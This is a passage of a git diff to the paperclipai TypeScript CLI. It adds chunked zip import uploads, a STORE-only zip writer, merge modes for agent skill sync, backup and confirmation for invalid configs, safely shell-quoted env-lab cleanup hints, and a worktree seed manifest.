0, + ); + for (const part of manifest.parts) { + if (!missing.has(part.index)) continue; + const offset = part.index * manifest.partSizeBytes; + const bytes = zipBytes.subarray(offset, offset + part.byteSize); + let lastError: unknown = null; + let uploaded = false; + for (let attempt = 0; attempt < IMPORT_TRANSFER_PART_ATTEMPTS && !uploaded; attempt += 1) { + try { + await api.putRaw( + `/api/companies${companyImportTransferPartPath(created.transferId, part.index)}`, + bytes, + ); + uploaded = true; + } catch (err) { + lastError = err; + } + } + if (!uploaded) { + // Parts already uploaded stay spooled server-side; re-running the + // import resumes from them instead of starting over. + throw lastError instanceof Error + ? lastError + : new Error(`Import transfer part ${part.index} failed to upload.`); + } + uploadedParts += 1; + uploadedBytes += part.byteSize; + opts.onProgress?.({ + uploadedParts, + totalParts: manifest.parts.length, + uploadedBytes, + totalBytes: manifest.totalBytes, + }); + } + return created.transferId; +} + export async function writeExportToFolder(outDir: string, exported: CompanyPortabilityExportResult): Promise { const root = path.resolve(outDir); await mkdir(root, { recursive: true }); @@ -1443,6 +1697,7 @@ export function registerCompanyCommands(program: Command): void { let sourcePayload: | { type: "inline"; rootPath?: string | null; files: Record } | { type: "github"; url: string }; + let chunkedZip: { zipBytes: Uint8Array; rootPath: string } | null = null; const treatAsLocalPath = !isHttpUrl(from) && await pathExists(from); const isGithubSource = looksLikeRepoUrl(from) || (isGithubShorthand(from) && !treatAsLocalPath); @@ -1459,12 +1714,24 @@ export function registerCompanyCommands(program: Command): void { if (opts.ref?.trim()) { throw new Error("--ref is only supported for GitHub import sources."); } - const inline = await resolveInlineSourceFromPath(from); - sourcePayload = { - type: "inline", - rootPath: inline.rootPath, - files: inline.files, - }; + chunkedZip = await resolveChunkedImportZip( + from, + target === "existing" + ? EXISTING_COMPANY_CHUNKED_IMPORT_THRESHOLD_BYTES + : CHUNKED_IMPORT_THRESHOLD_BYTES, + ); + if (chunkedZip) { + // Too large for one request: the zip travels as a chunked + // transfer, so the inline files map is never built or sent. + sourcePayload = { type: "inline", rootPath: chunkedZip.rootPath, files: {} }; + } else { + const inline = await resolveInlineSourceFromPath(from); + sourcePayload = { + type: "inline", + rootPath: inline.rootPath, + files: inline.files, + }; + } } const sourceLabel = formatSourceLabel(sourcePayload); @@ -1475,15 +1742,40 @@ export function registerCompanyCommands(program: Command): void { companyId: targetPayload.mode === "existing_company" ? targetPayload.companyId : null, }); + // The transfer meta mirrors the inline preview payload minus its + // `source` — the source is the assembled zip, spooled server-side. + const transferMeta = { + include, + target: targetPayload, + agents, + collisionStrategy: collision, + }; + let transferId: string | null = null; + if (chunkedZip) { + transferId = await uploadCompanyImportTransfer(ctx.api, chunkedZip.zipBytes, { + onProgress: ctx.json + ? undefined + : ({ uploadedParts, totalParts, uploadedBytes, totalBytes }) => { + console.log( + pc.dim( + `Uploaded part ${uploadedParts}/${totalParts} (${Math.round(uploadedBytes / (1024 * 1024))} of ${Math.round(totalBytes / (1024 * 1024))} MB)`, + ), + ); + }, + }); + } + const transferPreviewPath = transferId + ? `/api/companies${companyImportTransferPreviewPath(transferId)}` + : null; + let selectedFiles: string[] | undefined; if (interactiveView && !opts.yes && !opts.include?.trim()) { - const initialPreview = await ctx.api.post(previewApiPath, { - source: sourcePayload, - include, - target: targetPayload, - agents, - collisionStrategy: collision, - }); + const initialPreview = transferPreviewPath + ? await ctx.api.post(transferPreviewPath, transferMeta) + : await ctx.api.post(previewApiPath, { + source: sourcePayload, + ...transferMeta, + }); if (!initialPreview) { throw new Error("Import preview returned no data."); } @@ -1492,13 +1784,15 @@ export function registerCompanyCommands(program: Command): void { const previewPayload = { source: sourcePayload, - include, - target: targetPayload, - agents, - collisionStrategy: collision, + ...transferMeta, selectedFiles, }; - const preview = await ctx.api.post(previewApiPath, previewPayload); + const preview = transferPreviewPath + ? await ctx.api.post(transferPreviewPath, { + ...transferMeta, + selectedFiles, + }) + : await ctx.api.post(previewApiPath, previewPayload); if (!preview) { throw new Error("Import preview returned no data."); } @@ -1555,10 +1849,15 @@ export function registerCompanyCommands(program: Command): void { targetMode: targetPayload.mode, companyId: targetPayload.mode === "existing_company" ? targetPayload.companyId : null, }); - const imported = await ctx.api.post(importApiPath, { - ...previewPayload, - adapterOverrides, - }); + const imported = transferId + ? await ctx.api.post( + `/api/companies${companyImportTransferApplyPath(transferId)}`, + { ...transferMeta, selectedFiles, adapterOverrides }, + ) + : await ctx.api.post(importApiPath, { + ...previewPayload, + adapterOverrides, + }); if (!imported) { throw new Error("Import request returned no data."); } diff --git a/cli/src/commands/client/skills.ts b/cli/src/commands/client/skills.ts index c97ebd18df1..f24316c9c49 100644 --- a/cli/src/commands/client/skills.ts +++ b/cli/src/commands/client/skills.ts @@ -1,17 +1,19 @@ import { Command } from "commander"; -import type { - Agent, - AgentSkillSnapshot, - CatalogSkill, - CompanySkill, - CompanySkillAuditResult, - CompanySkillDetail, - CompanySkillFileDetail, - CompanySkillImportResult, - CompanySkillInstallCatalogResult, - CompanySkillListItem, - CompanySkillProjectScanResult, - CompanySkillUpdateStatus, +import { + agentSkillAssignmentModeSchema, + type AgentSkillAssignmentMode, + type Agent, + type AgentSkillSnapshot, + type CatalogSkill, + type CompanySkill, + type CompanySkillAuditResult, + type CompanySkillDetail, + type CompanySkillFileDetail, + type CompanySkillImportResult, + type CompanySkillInstallCatalogResult, + type CompanySkillListItem, + type CompanySkillProjectScanResult, + type CompanySkillUpdateStatus, } from "@paperclipai/shared"; import { readFile } from "node:fs/promises"; import { stdin as input, stdout as output } from "node:process"; @@ -69,6 +71,7 @@ interface ConfirmedSkillOptions extends SkillsOptions { interface AgentSkillSyncOptions extends SkillsOptions { skill?: string[]; + mode: AgentSkillAssignmentMode; } type CompanySkillReferenceTarget = Pick; @@ -502,9 +505,13 @@ function registerAgentSkillCommands(skills: Command): void { addCommonClientOptions( agent .command("sync") - .description("Replace an agent's desired company skills and sync runtime state") + .description("Merge an agent's desired company skills and sync runtime state") .argument("", "Agent ID or shortname/url-key") .option("--skill ", "Desired company skill ID, key, or slug; may be repeated", collectOptionValue, [] as string[]) + .requiredOption( + "--mode ", + "Merge mode: add keeps other skills; remove deletes only named skills; replace destructively overwrites the complete set", + ) .action(async (agentRef: string, opts: AgentSkillSyncOptions) => { try { const desiredSkills = opts.skill ?? []; @@ -513,16 +520,17 @@ function registerAgentSkillCommands(skills: Command): void { } const ctx = resolveCommandContext(opts, { requireCompany: true }); const agentRow = await resolveAgent(ctx, agentRef); + const mode = agentSkillAssignmentModeSchema.parse(opts.mode); const snapshot = await ctx.api.post( `/api/agents/${encodeURIComponent(agentRow.id)}/skills/sync`, - { desiredSkills }, + { desiredSkills, mode }, ); if (ctx.json) { printOutput(snapshot, { json: true }); return; } console.log( - `Desired company skills replaced for ${agentRow.name} (${agentRow.id}); runtime sync returned ${snapshot?.entries.length ?? 0} entrie(s).`, + `Desired company skills updated with ${mode} mode for ${agentRow.name} (${agentRow.id}); runtime sync returned ${snapshot?.entries.length ?? 0} entrie(s).`, ); printAgentSkillSnapshot(snapshot, agentRow); } catch (err) { @@ -548,7 +556,7 @@ function registerAgentSkillCommands(skills: Command): void { ); const snapshot = await ctx.api.post( `/api/agents/${encodeURIComponent(agentRow.id)}/skills/sync`, - { desiredSkills: [] }, + { desiredSkills: [], mode: "replace" }, ); if (ctx.json) { printOutput(snapshot, { json: true }); diff --git a/cli/src/commands/client/zip.ts b/cli/src/commands/client/zip.ts index 8f7b4db4aba..a927d239c18 100644 --- a/cli/src/commands/client/zip.ts +++ b/cli/src/commands/client/zip.ts @@ -8,3 +8,110 @@ export { isBlobStorePath, readZipArchive, } from "@paperclipai/shared/portability-zip"; + +// STORE-only zip writer used to package a local folder in memory for the +// chunked import transfer path. STORE keeps the writer dependency-free; the +// transfer slices the raw archive bytes, so compression only trades CPU for +// part count. Classic zip only: entry counts and offsets past the 16/32-bit +// header fields would need zip64, which the reader side does not require and +// this writer refuses to emit. + +const ZIP_MAX_ENTRIES = 0xffff; +const ZIP_MAX_OFFSET_BYTES = 0xffffffff; + +function writeUint16(target: Uint8Array, offset: number, value: number) { + target[offset] = value & 0xff; + target[offset + 1] = (value >>> 8) & 0xff; +} + +function writeUint32(target: Uint8Array, offset: number, value: number) { + target[offset] = value & 0xff; + target[offset + 1] = (value >>> 8) & 0xff; + target[offset + 2] = (value >>> 16) & 0xff; + target[offset + 3] = (value >>> 24) & 0xff; +} + +function crc32(bytes: Uint8Array) { + let crc = 0xffffffff; + for (const byte of bytes) { + crc ^= byte; + for (let bit = 0; bit < 8; bit += 1) { + crc = (crc & 1) === 1 ? (crc >>> 1) ^ 0xedb88320 : crc >>> 1; + } + } + return (crc ^ 0xffffffff) >>> 0; +} + +/** + * Build a stored (uncompressed) zip of `files` under a single `rootPath/` + * top-level directory — the layout `readZipArchive` folds back into the + * inline `{ rootPath, files }` bundle. Entries are written in sorted path + * order and carry no timestamps, so the same content always produces the + * same bytes and a re-run resumes its content-addressed transfer. + */ +export function createStoredZipArchive(files: Record, rootPath: string): Uint8Array { + const entries = Object.entries(files).sort(([left], [right]) => left.localeCompare(right)); + if (entries.length > ZIP_MAX_ENTRIES) { + throw new Error(`Package has too many files to zip (${entries.length}; the zip format caps at ${ZIP_MAX_ENTRIES}).`); + } + const encoder = new TextEncoder(); + const localChunks: Uint8Array[] = []; + const centralChunks: Uint8Array[] = []; + let localOffset = 0; + + for (const [relativePath, body] of entries) { + const fileName = encoder.encode(`${rootPath}/${relativePath}`); + const checksum = crc32(body); + + const localHeader = new Uint8Array(30 + fileName.length); + writeUint32(localHeader, 0, 0x04034b50); + writeUint16(localHeader, 4, 20); + writeUint16(localHeader, 6, 0x0800); + writeUint16(localHeader, 8, 0); + writeUint32(localHeader, 14, checksum); + writeUint32(localHeader, 18, body.length); + writeUint32(localHeader, 22, body.length); + writeUint16(localHeader, 26, fileName.length); + localHeader.set(fileName, 30); + + const centralHeader = new Uint8Array(46 + fileName.length); + writeUint32(centralHeader, 0, 0x02014b50); + writeUint16(centralHeader, 4, 20); + writeUint16(centralHeader, 6, 20); + writeUint16(centralHeader, 8, 0x0800); + writeUint16(centralHeader, 10, 0); + writeUint32(centralHeader, 16, checksum); + writeUint32(centralHeader, 20, body.length); + writeUint32(centralHeader, 24, body.length); + writeUint16(centralHeader, 28, fileName.length); + writeUint32(centralHeader, 42, localOffset); + centralHeader.set(fileName, 46); + + localChunks.push(localHeader, body); + centralChunks.push(centralHeader); + localOffset += localHeader.length + body.length; + if (body.length > ZIP_MAX_OFFSET_BYTES || localOffset > ZIP_MAX_OFFSET_BYTES) { + throw new Error("Package is too large to zip in memory (zip64 archives are not supported)."); + } + } + + const centralDirectoryLength = centralChunks.reduce((sum, chunk) => sum + chunk.length, 0); + const archive = new Uint8Array(localOffset + centralDirectoryLength + 22); + let offset = 0; + for (const chunk of localChunks) { + archive.set(chunk, offset); + offset += chunk.length; + } + const centralDirectoryOffset = offset; + for (const chunk of centralChunks) { + archive.set(chunk, offset); + offset += chunk.length; + } + writeUint32(archive, offset, 0x06054b50); + writeUint16(archive, offset + 8, entries.length); + writeUint16(archive, offset + 10, entries.length); + writeUint32(archive, offset + 12, centralDirectoryLength); + writeUint32(archive, offset + 16, centralDirectoryOffset); + + return archive; +} diff --git a/cli/src/commands/configure.ts b/cli/src/commands/configure.ts index 7c9b391bf0f..126fcc414bf 100644 --- a/cli/src/commands/configure.ts +++ b/cli/src/commands/configure.ts @@ -1,7 +1,16 @@ import * as p from "@clack/prompts"; import pc from "picocolors"; -import { readConfig, writeConfig, configExists, resolveConfigPath } from "../config/store.js"; -import type { PaperclipConfig } from "../config/schema.js"; +import { + backupInvalidConfig, + readConfig, + writeConfig, + configExists, + resolveConfigPath, +} from "../config/store.js"; +import { + findPaperclipConfigKeyWarnings, + type PaperclipConfig, +} from "../config/schema.js"; import { ensureLocalSecretsKeyFile } from "../config/secrets-key.js"; import { promptDatabase } from "../prompts/database.js"; import { promptLlm } from "../prompts/llm.js"; @@ -88,15 +97,39 @@ export async function configure(opts: { } let config: PaperclipConfig; + let invalidBackupPath: string | undefined; try { config = readConfig(opts.config) ?? defaultConfig(); + for (const warning of findPaperclipConfigKeyWarnings(config)) { + p.log.warn(`Unknown config key ${warning.path}; did you mean ${warning.suggestion}? It will be preserved.`); + } } catch (err) { - p.log.message( - pc.yellow( - `Existing config is invalid. Loading defaults so you can repair it now.\n${err instanceof Error ? err.message : String(err)}`, - ), + const backupPath = backupInvalidConfig(opts.config); + p.log.warn( + `Existing config is invalid. Preserved the original bytes at ${backupPath}.\n${err instanceof Error ? err.message : String(err)}`, ); + + if (!process.stdin.isTTY || !process.stdout.isTTY) { + p.log.error( + `Refusing to replace ${configPath} without confirmation. Rerun interactively to repair from defaults; the original and ${backupPath} are unchanged.`, + ); + p.outro(""); + process.exitCode = 1; + return; + } + + const repair = await p.confirm({ + message: `Repair from defaults? The invalid original is backed up at ${backupPath}.`, + initialValue: false, + }); + if (p.isCancel(repair) || !repair) { + p.cancel(`Configuration left unchanged. Invalid backup: ${backupPath}`); + process.exitCode = 1; + return; + } + config = defaultConfig(); + invalidBackupPath = backupPath; } let section: Section | undefined = opts.section as Section | undefined; @@ -179,8 +212,15 @@ export async function configure(opts: { config.$meta.updatedAt = new Date().toISOString(); config.$meta.source = "configure"; - writeConfig(config, opts.config); - p.log.success(`${SECTION_LABELS[section]} configuration updated.`); + const written = writeConfig(config, opts.config, { + invalidBackupPath, + }); + invalidBackupPath = undefined; + if (written) { + p.log.success(`${SECTION_LABELS[section]} configuration updated.`); + } else { + p.log.message(pc.dim(`${SECTION_LABELS[section]} configuration unchanged.`)); + } // If section was provided via CLI flag, don't loop if (opts.section) { diff --git a/cli/src/commands/env-lab.ts b/cli/src/commands/env-lab.ts index 55227c9f631..2e65bd36bf1 100644 --- a/cli/src/commands/env-lab.ts +++ b/cli/src/commands/env-lab.ts @@ -1,4 +1,5 @@ import path from "node:path"; +import { fileURLToPath } from "node:url"; import type { Command } from "commander"; import * as p from "@clack/prompts"; import pc from "picocolors"; @@ -111,6 +112,76 @@ export async function envLabDownCommand(opts: { instance?: string; json?: boolea p.log.message(`State: ${pc.dim(statePath)}`); } +// Quote one argument for a POSIX shell. The env-lab cleanup hint is copyable, so +// a contributor can paste it into a shell. A checkout path can hold shell +// metacharacters, such as `$`, a backtick, or a double quote. Inside double +// quotes a POSIX shell still expands `$(...)`, a backtick pair, and `$NAME`, and +// a double quote in the path ends the quoted span. So double quotes do not make +// the path safe. Single quotes stop every expansion. This function wraps the +// value in single quotes and rewrites each embedded single quote as the `'\''` +// sequence. The shell then reads the exact path and runs no embedded command. +function shellQuoteArgument(value: string): string { + return "'" + value.replace(/'/g, "'\\''") + "'"; +} + +// Describe how to re-run the env-lab CLI to stop the fixture. The bundled build +// emits one `dist/index.js` file, so node runs that file directly and `tsxBin` +// is `null`. A source checkout runs `src/index.ts` through the checked-out tsx +// runner, because the entry is TypeScript. +interface EnvLabCliInvocation { + entry: string; + tsxBin: string | null; +} + +// Resolve how to re-run the CLI from the running module location. The cleanup +// hint must run the same CLI that prints it, so it stops the correct version. +// `import.meta.url` gives the running module. The bundled build runs this module +// from `/dist/index.js`, so the hint runs that exact file with node. The +// published package ships no `src` directory and no tsx runner. A source +// checkout runs this module from `/src/commands/env-lab.ts`, so the hint +// runs `/src/index.ts` through the checked-out tsx runner. This resolver +// reads an absolute path from the module location, so the hint works from any +// working directory. The `modulePath` parameter is a test seam; production +// callers use the running module path. +export function resolveEnvLabCliInvocation( + modulePath: string = fileURLToPath(import.meta.url), +): EnvLabCliInvocation { + const moduleDir = path.dirname(modulePath); + const isSourceCheckout = + path.basename(moduleDir) === "commands" && path.basename(path.dirname(moduleDir)) === "src"; + if (isSourceCheckout) { + const cliRoot = path.resolve(moduleDir, "..", ".."); + return { + entry: path.join(cliRoot, "src", "index.ts"), + tsxBin: path.join(cliRoot, "node_modules", "tsx", "dist", "cli.mjs"), + }; + } + return { entry: modulePath, tsxBin: null }; +} + +// Build the env-lab cleanup hint as a copyable shell command. The hint stops the +// fixture that `env-lab doctor` inspected. It runs the same CLI that prints it, +// so it stops the correct version, and it forwards the inspected instance, so it +// stops the correct instance. It passes an inert `argv` value, so no shell reads +// the argument. Each path and the instance id pass through `shellQuoteArgument`, +// so a shell metacharacter stays inert when a contributor pastes the command. +// The `invocation` parameter is a test seam; production callers use the resolved +// running-module invocation. +export function buildEnvLabCleanupCommand( + opts: { instance?: string; invocation?: EnvLabCliInvocation } = {}, +): string { + const invocation = opts.invocation ?? resolveEnvLabCliInvocation(); + const parts = ["node"]; + if (invocation.tsxBin !== null) { + parts.push(shellQuoteArgument(invocation.tsxBin)); + } + parts.push(shellQuoteArgument(invocation.entry), "env-lab down"); + if (opts.instance !== undefined) { + parts.push("--instance", shellQuoteArgument(opts.instance)); + } + return parts.join(" "); +} + export async function envLabDoctorCommand(opts: { instance?: string; json?: boolean }) { const status = await collectEnvLabDoctorStatus(opts); @@ -138,7 +209,19 @@ export async function envLabDoctorCommand(opts: { instance?: string; json?: bool p.log.message(`State: ${pc.dim(status.statePath)}`); } - p.log.message(`Cleanup: ${pc.dim("pnpm paperclipai env-lab down")}`); + // The cleanup hint runs the same CLI that prints it, so it stops the correct + // version. The bundled build runs `dist/index.js`; a source checkout runs + // `src/index.ts` through the checked-out tsx runner. The hint uses absolute + // paths, so it works from any working directory. It passes an inert `argv` + // value, so no shell reads the argument. See `doc/CLI.md`, "safe invocation". + // + // The doctor diagnoses the instance that `resolvePaperclipInstanceId` selects + // from `opts.instance` or the `PAPERCLIP_INSTANCE_ID` environment variable. + // The hint pins that resolved instance, so a contributor who pastes the hint + // in a shell without `PAPERCLIP_INSTANCE_ID` stops the diagnosed fixture, not + // the default instance. + const cleanupInstance = resolvePaperclipInstanceId(opts.instance); + p.log.message(`Cleanup: ${pc.dim(buildEnvLabCleanupCommand({ instance: cleanupInstance }))}`); } export function registerEnvLabCommands(program: Command) { diff --git a/cli/src/commands/install.ts b/cli/src/commands/install.ts index 1667fe3b3bb..8559d83cb87 100644 --- a/cli/src/commands/install.ts +++ b/cli/src/commands/install.ts @@ -5,6 +5,7 @@ import { execFile } from "node:child_process"; import { promisify } from "node:util"; import * as p from "@clack/prompts"; import pc from "picocolors"; +import { isSupportedNodeVersion, MINIMUM_NODE_VERSION } from "@paperclipai/shared/node-version"; import { addManagedPathBlock, assertManagedShimWritable, @@ -84,9 +85,8 @@ export function resolveGitInstallWorkspacePackages(checkoutPath: string): Releas } function assertSupportedNodeVersion(): void { - const major = Number(process.versions.node.split(".")[0]); - if (!Number.isFinite(major) || major < 20) { - throw new Error(`Managed installs require Node.js 20 or newer (found ${process.version}).`); + if (!isSupportedNodeVersion(process.versions.node)) { + throw new Error(`Managed installs require Node.js ${MINIMUM_NODE_VERSION} or newer (found ${process.version}).`); } } diff --git a/cli/src/commands/onboard.ts b/cli/src/commands/onboard.ts index 3024360dda5..31850714d73 100644 --- a/cli/src/commands/onboard.ts +++ b/cli/src/commands/onboard.ts @@ -17,8 +17,17 @@ import { type SecretProvider, type StorageProvider, } from "@paperclipai/shared"; -import { configExists, readConfig, resolveConfigPath, writeConfig } from "../config/store.js"; -import type { PaperclipConfig } from "../config/schema.js"; +import { + backupInvalidConfig, + configExists, + readConfig, + resolveConfigPath, + writeConfig, +} from "../config/store.js"; +import { + findPaperclipConfigKeyWarnings, + type PaperclipConfig, +} from "../config/schema.js"; import { ensureAgentJwtSecret, resolveAgentJwtEnvFile } from "../config/env.js"; import { ensureLocalSecretsKeyFile } from "../config/secrets-key.js"; import { promptDatabase } from "../prompts/database.js"; @@ -356,17 +365,45 @@ export async function onboard(opts: OnboardOptions): Promise { ); let existingConfig: PaperclipConfig | null = null; + let invalidBackupPath: string | undefined; if (configExists(opts.config)) { p.log.message(pc.dim(`${configPath} exists`)); try { existingConfig = readConfig(opts.config); + for (const warning of findPaperclipConfigKeyWarnings(existingConfig)) { + p.log.warn(`Unknown config key ${warning.path}; did you mean ${warning.suggestion}? It will be preserved.`); + } } catch (err) { - p.log.message( - pc.yellow( - `Existing config appears invalid and will be updated.\n${err instanceof Error ? err.message : String(err)}`, - ), + const backupPath = backupInvalidConfig(opts.config); + p.log.warn( + `Existing config is invalid. Preserved the original bytes at ${backupPath}.\n${err instanceof Error ? err.message : String(err)}`, ); + + const canConfirmRepair = + opts.yes !== true && + opts.invokedByRun !== true && + process.stdin.isTTY === true && + process.stdout.isTTY === true; + if (!canConfirmRepair) { + p.log.error( + `Refusing to replace ${configPath} without confirmation. Rerun interactively to repair from defaults; the original and ${backupPath} are unchanged.`, + ); + p.outro(""); + process.exitCode = 1; + return; + } + + const repair = await p.confirm({ + message: `Repair from defaults? The invalid original is backed up at ${backupPath}.`, + initialValue: false, + }); + if (p.isCancel(repair) || !repair) { + p.cancel(`Configuration left unchanged. Invalid backup: ${backupPath}`); + process.exitCode = 1; + return; + } + invalidBackupPath = backupPath; } } @@ -646,7 +683,9 @@ export async function onboard(opts: OnboardOptions): Promise { p.log.message(pc.dim(`Using existing local secrets key file at ${keyResult.path}`)); } - writeConfig(config, opts.config); + writeConfig(config, opts.config, { + invalidBackupPath, + }); if (tc) trackInstallCompleted(tc, { adapterType: server.deploymentMode, diff --git a/cli/src/commands/worktree-lib.ts b/cli/src/commands/worktree-lib.ts index 7da2857c5d6..4cdf7ef5364 100644 --- a/cli/src/commands/worktree-lib.ts +++ b/cli/src/commands/worktree-lib.ts @@ -5,12 +5,52 @@ import { expandHomePrefix } from "../config/home.js"; export const DEFAULT_WORKTREE_HOME = "~/.paperclip-worktrees"; export const WORKTREE_SEED_MODES = ["minimal", "full"] as const; +export const WORKTREE_SEED_MANIFEST = "seed-manifest.json"; export const WORKTREE_SEED_PENDING_MARKER = "seed-pending"; export const WORKTREE_SEED_COMPLETE_MARKER = "seed-complete"; export const WORKTREE_SEED_LOCK_MARKER = "seed.lock"; export type WorktreeSeedMode = (typeof WORKTREE_SEED_MODES)[number]; +export const WORKTREE_SEED_PHASES = [ + "pending", + "source_validation", + "snapshot", + "restore", + "migrations", + "execution_quarantine", + "routine_pause", + "workspace_rebind", + "post_restore_validation", + "complete", +] as const; + +export type WorktreeSeedPhase = (typeof WORKTREE_SEED_PHASES)[number]; +export type WorktreeSeedState = "pending" | "running" | "verified" | "failed"; + +export type WorktreeSeedManifest = { + version: 2; + source: { + instanceId: string; + configPath: string; + }; + snapshotAt: string | null; + seedMode: WorktreeSeedMode; + migrationRevision: string | null; + targetInstanceId: string; + phase: WorktreeSeedPhase; + state: WorktreeSeedState; + attemptId: string; + startedAt: string | null; + finishedAt: string | null; + diagnostics: Array<{ + phase: WorktreeSeedPhase; + status: "started" | "succeeded" | "failed"; + at: string; + message?: string; + }>; +}; + export type WorktreeSeedPlan = { mode: WorktreeSeedMode; excludedTables: string[]; @@ -54,6 +94,7 @@ export type WorktreeUiBranding = { }; export type WorktreeSeedMarkerPaths = { + manifest: string; pending: string; complete: string; lock: string; @@ -62,6 +103,7 @@ export type WorktreeSeedMarkerPaths = { export function resolveWorktreeSeedMarkerPaths(configPath: string): WorktreeSeedMarkerPaths { const configDir = path.dirname(path.resolve(configPath)); return { + manifest: path.resolve(configDir, WORKTREE_SEED_MANIFEST), pending: path.resolve(configDir, WORKTREE_SEED_PENDING_MARKER), complete: path.resolve(configDir, WORKTREE_SEED_COMPLETE_MARKER), lock: path.resolve(configDir, WORKTREE_SEED_LOCK_MARKER), diff --git a/cli/src/commands/worktree.ts b/cli/src/commands/worktree.ts index 676ee7d52ff..6b7c76ed70f 100644 --- a/cli/src/commands/worktree.ts +++ b/cli/src/commands/worktree.ts @@ -7,6 +7,7 @@ import { readdirSync, readFileSync, readlinkSync, + renameSync, rmSync, statSync, symlinkSync, @@ -21,15 +22,28 @@ import { Readable } from "node:stream"; import * as p from "@clack/prompts"; import pc from "picocolors"; import { and, eq, inArray, sql } from "drizzle-orm"; +import { + resolveCanonicalWorktreeSeedSource, + resolveRegisteredWorktreeSeedSource, +} from "@paperclipai/shared/worktree-seed-source"; +import { + readWorktreePortRegistry, + withWorktreePortRegistryLock, + writeWorktreePortRegistry, +} from "@paperclipai/shared/worktree-port-registry"; import { applyPendingMigrations, agents, + authAccounts, + authUsers, assets, companies, + companyMemberships, createDb, documentRevisions, documents, ensurePostgresDatabase, + executionWorkspaces, formatDatabaseBackupResult, goals, heartbeatRuns, @@ -38,6 +52,7 @@ import { issueComments, issueDocuments, issues, + instanceUserRoles, projectWorkspaces, projects, routines, @@ -45,8 +60,10 @@ import { runDatabaseBackup, runDatabaseRestore, resetPostgresDatabase, + workspaceRuntimeServices, createEmbeddedPostgresLogBuffer, formatEmbeddedPostgresError, + loadWithoutEmbeddedPostgresExitHooks, prepareEmbeddedPostgresNativeRuntime, } from "@paperclipai/db"; import type { Command } from "commander"; @@ -63,13 +80,16 @@ import { formatShellExports, generateWorktreeColor, isWorktreeSeedMode, + WORKTREE_SEED_PHASES, resolveSuggestedWorktreeName, resolveWorktreeSeedPlan, resolveWorktreeSeedMarkerPaths, resolveWorktreeLocalPaths, sanitizeWorktreeInstanceId, type WorktreeSeedPlan, + type WorktreeSeedManifest, type WorktreeSeedMode, + type WorktreeSeedPhase, type WorktreeLocalPaths, } from "./worktree-lib.js"; import { @@ -135,6 +155,7 @@ type WorktreeReseedOptions = { preserveLiveWork?: boolean; yes?: boolean; allowLiveTarget?: boolean; + backupTarget?: boolean; }; type WorktreeRepairOptions = { @@ -155,6 +176,9 @@ type WorktreeEnsureSeededOptions = { fromDataDir?: string; fromInstance?: string; preserveLiveWork?: boolean; + registeredBaseWorkspaceCwd?: string; + registeredProjectWorkspaceId?: string; + expectedCompanyId?: string; }; type EmbeddedPostgresInstance = { @@ -195,6 +219,8 @@ type CopiedGitHooksResult = { type SeedWorktreeDatabaseResult = { backupSummary: string; + snapshotAt: string; + migrationRevision: string; pausedScheduledRoutines: number; executionQuarantine: SeededWorktreeExecutionQuarantineSummary; reboundWorkspaces: Array<{ @@ -202,37 +228,47 @@ type SeedWorktreeDatabaseResult = { fromCwd: string; toCwd: string; }>; + validation: WorktreeSeedValidationSummary; }; -type WorktreeSeedPendingMarker = { - version: 1; - state: "pending"; - sourceConfigPath: string; - seedMode: "minimal"; - createdAt: string; -}; - -type WorktreeSeedCompleteMarker = { - version: 1; - state: "complete"; - seedMode: WorktreeSeedMode; - completedAt: string; +export type WorktreeSeedValidationSummary = { + authUserCount: number; + credentialAccountCount: number; + instanceAdminCount: number; + activeMembershipCount: number; + companyCount: number; + issueCount: number; + representativeCompanyId: string; + representativeIssueId: string; + migrationRevision: string; }; type SeedWorktreeDatabase = typeof seedWorktreeDatabase; export type EnsureWorktreeSeededResult = { seeded: boolean; - reason: "seeded" | "complete_marker" | "legacy_unmarked"; + reason: + | "seeded" + | "verified_manifest" + | "complete_marker" + | "legacy_unmarked" + | "legacy_database"; details?: SeedWorktreeDatabaseResult; }; +export type LegacyWorktreeDatabaseEvidence = { + migrationRevision: string; +}; + export type SeededWorktreeExecutionQuarantineSummary = { disabledTimerHeartbeats: number; resetRunningAgents: number; quarantinedInProgressIssues: number; unassignedTodoIssues: number; unassignedReviewIssues: number; + stoppedProjectWorkspaceRuntimes: number; + stoppedExecutionWorkspaceRuntimes: number; + stoppedRuntimeServices: number; }; function nonEmpty(value: string | null | undefined): string | null { @@ -256,6 +292,9 @@ function formatSeededWorktreeExecutionQuarantineSummary( `quarantined in-progress issues: ${summary.quarantinedInProgressIssues}`, `unassigned todo issues: ${summary.unassignedTodoIssues}`, `unassigned review issues: ${summary.unassignedReviewIssues}`, + `stopped project workspace runtimes: ${summary.stoppedProjectWorkspaceRuntimes}`, + `stopped execution workspace runtimes: ${summary.stoppedExecutionWorkspaceRuntimes}`, + `stopped runtime services: ${summary.stoppedRuntimeServices}`, ].join(", "); } @@ -562,13 +601,24 @@ function resolveRepoManagedWorktreesRoot(cwd: string): string | null { return path.resolve(repoRoot, ".paperclip", "worktrees"); } -function collectClaimedWorktreePorts(homeDir: string, currentInstanceId: string, cwd: string): { +function collectClaimedWorktreePorts( + homeDir: string, + currentInstanceId: string, + cwd: string, + registeredConfigPaths: Iterable = [], +): { serverPorts: Set; databasePorts: Set; } { const serverPorts = new Set(); const databasePorts = new Set(); const configPaths = new Set(); + for (const configPath of registeredConfigPaths) { + const resolvedConfigPath = path.resolve(configPath); + if (resolvedConfigPath !== path.resolve(cwd, ".paperclip", "config.json") && existsSync(resolvedConfigPath)) { + configPaths.add(resolvedConfigPath); + } + } const instancesDir = path.resolve(homeDir, "instances"); if (existsSync(instancesDir)) { for (const entry of readdirSync(instancesDir, { withFileTypes: true })) { @@ -598,8 +648,13 @@ function collectClaimedWorktreePorts(homeDir: string, currentInstanceId: string, if (config?.server.port) { serverPorts.add(config.server.port); } - if (config?.database.mode === "embedded-postgres") { - databasePorts.add(config.database.embeddedPostgresPort); + const databasePort = config?.database.embeddedPostgresPort; + if ( + typeof databasePort === "number" && + Number.isInteger(databasePort) && + databasePort > 0 + ) { + databasePorts.add(databasePort); } } catch { // Ignore malformed sibling configs. @@ -1084,11 +1139,15 @@ export function copySeededSecretsKey(input: { } } -async function ensureEmbeddedPostgres(dataDir: string, preferredPort: number): Promise { +export async function ensureEmbeddedPostgres( + dataDir: string, + preferredPort: number, + options: { allowExisting?: boolean } = {}, +): Promise { const moduleName = "embedded-postgres"; let EmbeddedPostgres: EmbeddedPostgresCtor; try { - const mod = await import(moduleName); + const mod = await loadWithoutEmbeddedPostgresExitHooks(() => import(moduleName)); EmbeddedPostgres = mod.default as EmbeddedPostgresCtor; } catch { throw new Error( @@ -1100,6 +1159,12 @@ async function ensureEmbeddedPostgres(dataDir: string, 